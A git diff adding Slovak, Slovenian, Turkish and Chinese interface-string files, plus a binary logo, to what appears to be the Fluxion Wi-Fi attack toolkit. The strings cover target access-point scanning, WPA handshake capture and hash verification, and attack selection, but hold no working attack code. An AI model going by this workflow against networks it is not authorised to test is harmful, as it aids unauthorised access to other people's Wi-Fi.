+FLUXIONTargetTrackerInterfaceQueryTip="${CSYel}Choosing a dedicated interface may be required.$CClr" +FLUXIONTargetTrackerInterfaceQueryTip2="${CBRed}If you're unsure, choose \"${CBYel}Skip${CBRed}\"!$CClr" +FLUXIONIncompleteTargettingInfoNotice="Missing ESSID, BSSID, or channel information!" +FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above." +FLUXIONContinueWithTargetQuery="Continue with this target?" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONStartingScannerNotice="Štartujem scanner, čakajte..." +FLUXIONStartingScannerTip="Päť sekúnd po objavení sa cieľového AP, zavrite FLUXION Scanner (ctrl+c)." +FLUXIONPreparingScannerResultsNotice="Výsledky scanu sa pripravujú, čakajte..." +FLUXIONScannerFailedNotice="Bezdrôtová sieťová karta nemusí byť podporovaná (nenašli sa žiadne AP)" +FLUXIONScannerDetectedNothingNotice="Žiadne prístupové body neboli najdené, vraciam sa..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashFileDoesNotExistError="Súbor 'hash' neexistuje!" +FLUXIONHashInvalidError="${CRed}Error$CClr, nesprávny 'hash' súbor!" +FLUXIONHashValidNotice="${CGrn}Success$CClr, 'hash' overenie úspešné!" +FLUXIONPathToHandshakeFileQuery="Zadajte cestu k 'handshake' súboru $CClr(Príklad: /.../dump-01.cap)" +FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." +FLUXIONAbsolutePathInfo="Absolúna cesta" +FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelQuery="Vyberte kanál, ktorý chcete monitorovať" +FLUXIONScannerChannelOptionAll="Všetky kanály" +FLUXIONScannerChannelOptionSpecific="Špecifický kanál(y)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelSingleTip="Jeden kanál" +FLUXIONScannerChannelMiltipleTip="Viecero kanálov" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerHeader="FLUXION Scanner" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashSourceQuery="Vyberte spôsob získania 'handshake'" +FLUXIONHashSourcePathOption="Cesta ku 'capture' súboru" +FLUXIONHashSourceRescanOption="Priečinok s 'handshake' (preskenovať)" +FLUXIONFoundHashNotice="Našiel sa 'hash' pre vybrané AP." +FLUXIONUseFoundHashQuery="Chcete použiť tento súbor?" +FLUXIONUseFoundHashOption="Use hash found" +FLUXIONSpecifyHashPathOption="Specify path to hash" +FLUXIONHashVerificationMethodQuery="Vyberte spôsob overenia pre 'hash'" +FLUXIONHashVerificationMethodPyritOption="pyrit verification" +FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}nespoľahlivé$CClr)" +FLUXIONHashVerificationMethodCowpattyOption="cowpatty verification (${CGrn}Odporúčané$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONAttackQuery="Vyberte spôsob útoku pre prístupový bod" +FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr prebieha útok..." +FLUXIONSelectAnotherAttackOption="Vyberte iný útok" +FLUXIONAttackResumeQuery="This attack has already been configured." +FLUXIONAttackRestoreOption="Restore attack" +FLUXIONAttackResetOption="Reset attack" +FLUXIONAttackRestartOption="Restart" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONGeneralSkipOption="${CYel}Skip" +FLUXIONGeneralBackOption="${CRed}Späť" +FLUXIONGeneralExitOption="${CRed}Exit" +FLUXIONGeneralRepeatOption="${CRed}Repeat" +FLUXIONGeneralNotFoundError="Nenájdené" +FLUXIONGeneralXTermFailureError="${CRed}Nepodarilo sa spustiť 'xterm session' (možná nesprávna konfigurácia)." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONCleanupAndClosingNotice="Čistím a zatváram" +FLUXIONKillingProcessNotice="Ukončujem ${CGry}\$targetID$CClr" +FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr" +FLUXIONDisablingMonitorNotice="Vypínam monitorovací adaptér" +FLUXIONDisablingExtraInterfacesNotice="Vypínam extra adaptéry" +FLUXIONDisablingPacketForwardingNotice="Vypínam ${CGry}smerovanie packet-ov" +FLUXIONDisablingCleaningIPTablesNotice="Čistím ${CGry}iptables" +FLUXIONRestoringTputNotice="Obnovujem ${CGry}tput" +FLUXIONDeletingFilesNotice="Mažem ${CGry}súbory" +FLUXIONRestartingNetworkManagerNotice="Reštartujem ${CGry}Network-Manager" +FLUXIONCleanupSuccessNotice="Čistenie prebehlo úspešne!" +FLUXIONThanksSupportersNotice="Ďakujeme za použitie FLUXION" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/language/sl.sh b/language/sl.sh new file mode 100755 index 0000000..9cfdf3c --- /dev/null +++ b/language/sl.sh @@ -0,0 +1,98 @@ +#!/usr/bin/env bash +# Slovenian +# native: Slovenščina + +FLUXIONInterfaceQuery="Izberite vmesnik" +FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!" +FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!" +FLUXIONReidentifyingInterface="Renaming interface." +FLUXIONUnblockingWINotice="Unblocking all wireless interfaces..." +#FLUXIONFindingExtraWINotice="Looking for extraneous wireless interfaces..." +FLUXIONRemovingExtraWINotice="Removing extraneous wireless interfaces..." +FLUXIONFindingWINotice="Looking for available wireless interfaces..." +FLUXIONSelectedBusyWIError="The wireless interface selected appears to be currently in use!" +FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}." +FLUXIONGatheringWIInfoNotice="Gathering interface information..." +FLUXIONUnknownWIDriverError="Unable to determine interface driver!" +FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$interface\" to unload..." +FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$interface\" to load..." +FLUXIONFindingConflictingProcessesNotice="Looking for notorious services..." +FLUXIONKillingConflictingProcessesNotice="Killing notorious services..." +FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!" +FLUXIONStartingWIMonitorNotice="Starting monitor interface..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONTargetSearchingInterfaceQuery="Select a wireless interface for target searching." +FLUXIONTargetTrackerInterfaceQuery="Select a wireless interface for target tracking." +FLUXIONTargetTrackerInterfaceQueryTip="${CSYel}Choosing a dedicated interface may be required.$CClr" +FLUXIONTargetTrackerInterfaceQueryTip2="${CBRed}If you're unsure, choose \"${CBYel}Skip${CBRed}\"!$CClr" +FLUXIONIncompleteTargettingInfoNotice="Missing ESSID, BSSID, or channel information!" +FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above." +FLUXIONContinueWithTargetQuery="Continue with this target?" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONStartingScannerNotice="Starting scanner, please wait..." +FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner (ctrl+c)." +FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..." +FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)" +FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashFileDoesNotExistError="Hash file does not exist!" +FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!" +FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!" +FLUXIONPathToHandshakeFileQuery="Enter path to handshake file $CClr(Example: /.../dump-01.cap)" +FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." +FLUXIONAbsolutePathInfo="Absolute path" +FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelQuery="Izberite kanal" +FLUXIONScannerChannelOptionAll="Vsi kanali " +FLUXIONScannerChannelOptionSpecific="Določen kanal/i" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelSingleTip="En kanal" +FLUXIONScannerChannelMiltipleTip="Več kanalov" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerHeader="WIFI Nadzor" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashSourceQuery="Select a method to retrieve the handshake" +FLUXIONHashSourcePathOption="Path to capture file" +FLUXIONHashSourceRescanOption="Handshake directory (rescan)" +FLUXIONFoundHashNotice="A hash for the target AP was found." +FLUXIONUseFoundHashQuery="Do you want to use this file?" +FLUXIONUseFoundHashOption="Use hash found" +FLUXIONSpecifyHashPathOption="Specify path to hash" +FLUXIONHashVerificationMethodQuery="Select a method of verification for the hash" +FLUXIONHashVerificationMethodPyritOption="pyrit verification" +FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}unreliable$CClr)" +FLUXIONHashVerificationMethodCowpattyOption="cowpatty verification (${CGrn}recommended$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONAttackQuery="Izberi možnost" +FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr attack in progress..." +FLUXIONSelectAnotherAttackOption="Select another attack" +FLUXIONAttackResumeQuery="This attack has already been configured." +FLUXIONAttackRestoreOption="Restore attack" +FLUXIONAttackResetOption="Reset attack" +FLUXIONAttackRestartOption="Restart" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONGeneralSkipOption="${CYel}Skip" +FLUXIONGeneralBackOption="${CRed}Nazaj" +FLUXIONGeneralExitOption="${CRed}Exit" +FLUXIONGeneralRepeatOption="${CRed}Repeat" +FLUXIONGeneralNotFoundError="Ni_najdeno" +FLUXIONGeneralXTermFailureError="${CRed}Failed to start xterm session (possible misconfiguration)." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONCleanupAndClosingNotice="Čiščenje in zapiranje" +FLUXIONKillingProcessNotice="Killing ${CGry}\$targetID$CClr" +FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr" +FLUXIONDisablingMonitorNotice="Onemogočanje nadzornega načina" +FLUXIONDisablingExtraInterfacesNotice="Onemogočanje vmesnika" +FLUXIONDisablingPacketForwardingNotice="Onemogočanje ${CGry}posredovanja paketov" +FLUXIONDisablingCleaningIPTablesNotice="Čiščenje ${CGry}iptables" +FLUXIONRestoringTputNotice="Obnavljam ${CGry}tput" +FLUXIONDeletingFilesNotice="Deleting ${CGry}files" +FLUXIONRestartingNetworkManagerNotice="Ponovno zaganjam ${CGry}Network-Manager" +FLUXIONCleanupSuccessNotice="Čiščenje je bilo uspšno!" +FLUXIONThanksSupportersNotice="Hvala ker uporabljaš fluxion" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/language/tk.sh b/language/tk.sh new file mode 100755 index 0000000..f257e9d --- /dev/null +++ b/language/tk.sh @@ -0,0 +1,98 @@ +#!/usr/bin/env bash +# Turkish +# native: Türk + +FLUXIONInterfaceQuery="Bir Ag Secin" +FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!" +FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!" +FLUXIONReidentifyingInterface="Renaming interface." +FLUXIONUnblockingWINotice="Unblocking all wireless interfaces..." +#FLUXIONFindingExtraWINotice="Looking for extraneous wireless interfaces..." +FLUXIONRemovingExtraWINotice="Removing extraneous wireless interfaces..." +FLUXIONFindingWINotice="Looking for available wireless interfaces..." +FLUXIONSelectedBusyWIError="The wireless interface selected appears to be currently in use!" +FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}." +FLUXIONGatheringWIInfoNotice="Gathering interface information..." +FLUXIONUnknownWIDriverError="Unable to determine interface driver!" +FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$interface\" to unload..." +FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$interface\" to load..." +FLUXIONFindingConflictingProcessesNotice="Looking for notorious services..." +FLUXIONKillingConflictingProcessesNotice="Killing notorious services..." +FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!" +FLUXIONStartingWIMonitorNotice="Starting monitor interface..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONTargetSearchingInterfaceQuery="Select a wireless interface for target searching." +FLUXIONTargetTrackerInterfaceQuery="Select a wireless interface for target tracking." +FLUXIONTargetTrackerInterfaceQueryTip="${CSYel}Choosing a dedicated interface may be required.$CClr" +FLUXIONTargetTrackerInterfaceQueryTip2="${CBRed}If you're unsure, choose \"${CBYel}Skip${CBRed}\"!$CClr" +FLUXIONIncompleteTargettingInfoNotice="Missing ESSID, BSSID, or channel information!" +FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above." +FLUXIONContinueWithTargetQuery="Continue with this target?" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONStartingScannerNotice="Starting scanner, please wait..." +FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner (ctrl+c)." +FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..." +FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)" +FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashFileDoesNotExistError="Hash file does not exist!" +FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!" +FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!" +FLUXIONPathToHandshakeFileQuery="Enter path to handshake file $CClr(Example: /.../dump-01.cap)" +FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." +FLUXIONAbsolutePathInfo="Absolute path" +FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelQuery="Kanal Sec" +FLUXIONScannerChannelOptionAll="Tum Kanallar " +FLUXIONScannerChannelOptionSpecific="Sectigim Kanal ya da Kanallar" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelSingleTip="Tek Kanal" +FLUXIONScannerChannelMiltipleTip="Coklu Kanal" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerHeader="Wifi Goruntule" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashSourceQuery="Select a method to retrieve the handshake" +FLUXIONHashSourcePathOption="Path to capture file" +FLUXIONHashSourceRescanOption="Handshake directory (rescan)" +FLUXIONFoundHashNotice="A hash for the target AP was found." +FLUXIONUseFoundHashQuery="Do you want to use this file?" +FLUXIONUseFoundHashOption="Use hash found" +FLUXIONSpecifyHashPathOption="Specify path to hash" +FLUXIONHashVerificationMethodQuery="Select a method of verification for the hash" +FLUXIONHashVerificationMethodPyritOption="pyrit verification" +FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}unreliable$CClr)" +FLUXIONHashVerificationMethodCowpattyOption="cowpatty verification (${CGrn}recommended$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONAttackQuery="Secenegi Sec" +FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr attack in progress..." +FLUXIONSelectAnotherAttackOption="Select another attack" +FLUXIONAttackResumeQuery="This attack has already been configured." +FLUXIONAttackRestoreOption="Restore attack" +FLUXIONAttackResetOption="Reset attack" +FLUXIONAttackRestartOption="Restart" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONGeneralSkipOption="${CYel}Skip" +FLUXIONGeneralBackOption="${CRed}Geri" +FLUXIONGeneralExitOption="${CRed}Exit" +FLUXIONGeneralRepeatOption="${CRed}Repeat" +FLUXIONGeneralNotFoundError="Bulunamadi" +FLUXIONGeneralXTermFailureError="${CRed}Failed to start xterm session (possible misconfiguration)." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONCleanupAndClosingNotice="Temizleniyor ve Kapatiliyor" +FLUXIONKillingProcessNotice="Killing ${CGry}\$targetID$CClr" +FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr" +FLUXIONDisablingMonitorNotice="Monitor modu kapatiliyor" +FLUXIONDisablingExtraInterfacesNotice="Ag Arayuzu kapatiliyor" +FLUXIONDisablingPacketForwardingNotice="Kapatiliyor ${CGry}forwarding of packets" +FLUXIONDisablingCleaningIPTablesNotice="Temizleniyor ${CGry}iptables" +FLUXIONRestoringTputNotice="Yenileniyor ${CGry}tput" +FLUXIONDeletingFilesNotice="Deleting ${CGry}files" +FLUXIONRestartingNetworkManagerNotice="Tekrar Baslatiliyor ${CGry}Network-Manager" +FLUXIONCleanupSuccessNotice="Temizlik Basariyla Tamamlandi!" +FLUXIONThanksSupportersNotice="Fluxion kullandiginiz icin tesekkurler." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/language/zh.sh b/language/zh.sh new file mode 100755 index 0000000..7fe4753 --- /dev/null +++ b/language/zh.sh @@ -0,0 +1,98 @@ +#!/usr/bin/env bash +# Chinese +# native: 中文 + +FLUXIONInterfaceQuery="请选择你要调用的网卡设备" +FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!" +FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!" +FLUXIONReidentifyingInterface="Renaming interface." +FLUXIONUnblockingWINotice="解除所有占用无线接口设备的进程..." +#FLUXIONFindingExtraWINotice="查询USB外部网卡接口设备..." +FLUXIONRemovingExtraWINotice="正在移除USB外部网卡接口设备..." +FLUXIONFindingWINotice="寻找可用的USB外部网卡接口设备..." +FLUXIONSelectedBusyWIError="选择的USB外部网卡接口设备正在被调用!" +FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}." +FLUXIONGatheringWIInfoNotice="采集接口信息..." +FLUXIONUnknownWIDriverError="找不到网卡设备" +FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$interface\" to unload..." +FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$interface\" to load..." +FLUXIONFindingConflictingProcessesNotice="自动查询干扰Fluxion运行的进程..." +FLUXIONKillingConflictingProcessesNotice="结束干扰Fluxion运行的进程..." +FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!" +FLUXIONStartingWIMonitorNotice="启动监听模式..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONTargetSearchingInterfaceQuery="Select a wireless interface for target searching." +FLUXIONTargetTrackerInterfaceQuery="Select a wireless interface for target tracking." +FLUXIONTargetTrackerInterfaceQueryTip="${CSYel}Choosing a dedicated interface may be required.$CClr" +FLUXIONTargetTrackerInterfaceQueryTip2="${CBRed}If you're unsure, choose \"${CBYel}Skip${CBRed}\"!$CClr" +FLUXIONIncompleteTargettingInfoNotice="Missing ESSID, BSSID, or channel information!" +FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above." +FLUXIONContinueWithTargetQuery="Continue with this target?" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONStartingScannerNotice="启动扫描, 请稍等..." +FLUXIONStartingScannerTip="目标AP出现后,按 Ctrl+C 关闭FLUXION扫描" +FLUXIONPreparingScannerResultsNotice="综合扫描的结果获取中,请稍等..." +FLUXIONScannerFailedNotice="你的无线网卡好像不支持 (没有发现APs)" +FLUXIONScannerDetectedNothingNotice="没有发现访问点, 请返回重试..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashFileDoesNotExistError="Hash文件不存在!" +FLUXIONHashInvalidError="${CRed}错误$CClr, 无效的Hash文件!" +FLUXIONHashValidNotice="${CGrn}成功$CClr, Hash效验完成!" +FLUXIONPathToHandshakeFileQuery="指定捕获到的握手包存放的路径 $CClr(例如: /.../dump-01.cap)" +FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." +FLUXIONAbsolutePathInfo="捕获到握手包后存放的绝对路径" +FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelQuery="选择要扫描的信道" +FLUXIONScannerChannelOptionAll="扫描所有信道 " +FLUXIONScannerChannelOptionSpecific="扫描指定信道" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelSingleTip="单一信道" +FLUXIONScannerChannelMiltipleTip="多个信道" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerHeader="FLUXION 扫描仪" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashSourceQuery="选择一种方式来检查握手包获取状态" +FLUXIONHashSourcePathOption="检测文件的路径" +FLUXIONHashSourceRescanOption="握手包目录(重新扫描)" +FLUXIONFoundHashNotice="发现目标热点的Hash文件." +FLUXIONUseFoundHashQuery="你想要使用这个文件吗?" +FLUXIONUseFoundHashOption="Use hash found" +FLUXIONSpecifyHashPathOption="Specify path to hash" +FLUXIONHashVerificationMethodQuery="选择Hash的验证方法" +FLUXIONHashVerificationMethodPyritOption="pyrit 验证" +FLUXIONHashVerificationMethodAircrackOption="aircrack-ng 验证 (${CYel}不推荐$CClr)" +FLUXIONHashVerificationMethodCowpattyOption="cowpatty 验证 (${CGrn}推荐用这个$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONAttackQuery="请选择一个攻击方式" +FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr attack in progress..." +FLUXIONSelectAnotherAttackOption="选择启动攻击方式" +FLUXIONAttackResumeQuery="This attack has already been configured." +FLUXIONAttackRestoreOption="Restore attack" +FLUXIONAttackResetOption="Reset attack" +FLUXIONAttackRestartOption="Restart" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONGeneralSkipOption="${CYel}Skip" +FLUXIONGeneralBackOption="${CRed}返回" +FLUXIONGeneralExitOption="${CRed}退出" +FLUXIONGeneralRepeatOption="${CRed}Repeat" +FLUXIONGeneralNotFoundError="未找到" +FLUXIONGeneralXTermFailureError="${CRed}Failed to start xterm session (possible misconfiguration)." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONCleanupAndClosingNotice="清理进程并退出" +FLUXIONKillingProcessNotice="Killing ${CGry}\$targetID$CClr" +FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr" +FLUXIONDisablingMonitorNotice="关闭监听模式界面" +FLUXIONDisablingExtraInterfacesNotice="关闭USB外部网卡接口" +FLUXIONDisablingPacketForwardingNotice="关闭 ${CGry}转发数据包" +FLUXIONDisablingCleaningIPTablesNotice="清理 ${CGry}iptables" +FLUXIONRestoringTputNotice="恢复 ${CGry}tput" +FLUXIONDeletingFilesNotice="删除 ${CGry}文件" +FLUXIONRestartingNetworkManagerNotice="重启 ${CGry}网络管理" +FLUXIONCleanupSuccessNotice="所有进程清理完成!" +FLUXIONThanksSupportersNotice="再次感谢使用Fluxion!" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/logos/logo.jpg b/logos/logo.jpg new file mode 100644 index 0000000000000000000000000000000000000000..b42fcc2a1c2a7ab304c3cc2ca99e2ae1a2387a55 GIT binary patch literal 152551 zcmeFZcUV-*@+i7yh9L|&N_NOeat6scNzSOi%m5=WuY-w$d1?urP^=pOn3w>< z0058zBoI0P20{?<4}h=&Z~_bft`N50@EM5UPZ}slBME>pzzzQUL!<~W0|;kdzyd@+ z%iaN>BLHGI1^@(TemynNKCT#~nTJoHPk@JyFH%bjDJ3B(ixjlQ;?O=J0YU(nlvk2a zP?C~DO3EooN-D|7001l>@)v*k&|hu9Li1t2V8~anJ$xXBz<$ya|0xTE`!87_!hgyF zh5W8V3i`Wl%5R6&0s7z*)XL%WVB%mEpdd(bTFV509DD+(2q^#^gQq)~0^$J*Qc_Yf 